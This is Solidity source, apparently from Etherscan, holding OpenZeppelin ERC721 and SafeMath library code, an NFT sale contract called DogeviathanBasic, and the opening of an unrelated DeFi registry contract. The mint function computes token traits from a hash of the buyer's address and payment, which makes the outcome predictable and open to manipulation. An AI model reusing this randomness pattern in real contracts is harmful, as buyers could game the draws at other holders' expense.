* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// Part: OpenZeppelin/[email protected]/Strings
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// Part: SafeMathOuter
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathOuter {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add_outer(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub_outer(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul_outer(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div_outer(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod_outer(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Part: OpenZeppelin/[email protected]/ERC165
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// Part: OpenZeppelin/[email protected]/IERC721
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// Part: OpenZeppelin/[email protected]/Ownable
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// Part: OpenZeppelin/[email protected]/IERC721Enumerable
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// Part: OpenZeppelin/[email protected]/IERC721Metadata
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// Part: OpenZeppelin/[email protected]/ERC721
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// File: DogeviathanBasic.sol
contract DogeviathanBasic is Ownable, ERC721 {
using SafeMathOuter for uint256;
uint256 public tokenCounter;
uint256 public lastPrice;
uint256 public constant FIRST_BATCH_SUPPLY = 513;
// uint256 public constant SALE_START_TIMESTAMP = 1617580800; // TODO
uint256 public constant SALE_START_TIMESTAMP = 1629745200; // TODO
address public constant safe = 0x4B6250BFF504C9B6966d98543dD407315f220345;
struct Void {
uint256 mobility;
uint256 energy;
uint256 oxygen;
uint256 codex;
uint256 justice;
}
mapping(uint256 => Void) public tokenIdToVoid;
mapping(uint256 => address) public tokenIdToOwner;
mapping(uint256 => uint256) public tokenIdToRand;
event createdCollectible(uint256 tokenId);
constructor() public
ERC721("HodlTheVoid", "HTV")
{
tokenCounter = 0;
lastPrice = 0.01 * 10 ** 18; // initial price is 0.01 ETH
}
function withdraw() public {
require(msg.sender == safe);
uint balance = address(this).balance;
msg.sender.transfer(balance);
}
function getVoidPrice() public view returns (uint256) {
require(block.timestamp >= SALE_START_TIMESTAMP, "Sale has not started");
require(tokenCounter < FIRST_BATCH_SUPPLY, "First batch has been sold out");
return lastPrice;
}
function createCollectible()
public payable returns (uint256)
{
require(block.timestamp >= SALE_START_TIMESTAMP, "Sale has not started");
require(tokenCounter < FIRST_BATCH_SUPPLY, "First batch has been sold out");
require(getVoidPrice() == msg.value, "Ether value sent is not correct");
uint256 lastTokenId = tokenCounter;
address voidOwner = msg.sender;
if (lastTokenId == FIRST_BATCH_SUPPLY - 1) {
tokenIdToRand[lastTokenId] = 0;
tokenIdToVoid[lastTokenId] = indexToVoid(0);
} else {
uint256 r = uint(keccak256(abi.encodePacked(voidOwner, msg.value))) % 7776;
tokenIdToRand[lastTokenId] = r;
tokenIdToVoid[lastTokenId] = indexToVoid(r);
}
_safeMint(voidOwner, lastTokenId);
lastPrice = lastPrice * 1010 / 1000;
tokenIdToOwner[lastTokenId] = voidOwner;
emit createdCollectible(lastTokenId);
tokenCounter = tokenCounter + 1;
}
function indexToVoid(uint256 idx) public returns (Void memory) {
uint256 r_0 = idx % 1296;
uint256 a_0 = idx.sub_outer(r_0) / 1296;
uint256 r_1 = r_0 % 216;
uint256 a_1 = r_0.sub_outer(r_1) / 216;
uint256 r_2 = r_1 % 36;
uint256 a_2 = r_1.sub_outer(r_2) / 36;
uint256 r_3 = r_2 % 6;
uint256 a_3 = r_2.sub_outer(r_3) / 6;
uint256 a_4 = r_3;
return Void(a_0, a_1, a_2, a_3, a_4);
}
function voidToIndex(Void memory void) public returns (uint256) {
return
void.justice +
void.codex.mul_outer(6) +
void.oxygen.mul_outer(36) +
void.energy.mul_outer(216) +
void.mobility.mul_outer(1296);
}
function setTokenURI(uint256 tokenId, string memory _tokenURI) onlyOwner public
{
_setTokenURI(tokenId, _tokenURI);
}
function burn(uint256 tokenId) public {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: burn caller is not owner nor approved"
);
_burn(tokenId);
tokenIdToRand[tokenId] = 0;
tokenIdToVoid[tokenId] = indexToVoid(0);
tokenIdToOwner[tokenId] = address(0);
}
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2030,
1996,
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16770,
1024,
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102
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/**
*Submitted for verification at Etherscan.io on 2020-12-24
*/
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
abstract contract IDFSRegistry {
function getAddr(bytes32 _id) public view virtual returns (address);
function addNewContract(
bytes32 _id,
address _contractAddr,
uint256 _waitPeriod
) public virtual;
function startContractChange(bytes32 _id, address _newContractAddr) public virtual;
function approveContractChange(bytes32 _id) public virtual;
function cancelContractChange(bytes32 _id) public virtual;
function changeWaitPeriod(bytes32 _id, uint256 _newWaitPeriod) public virtual;
}
interface IERC20 {
function totalSupply() external view returns (uint256 supply);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function decimals() external view returns (uint256 digits);
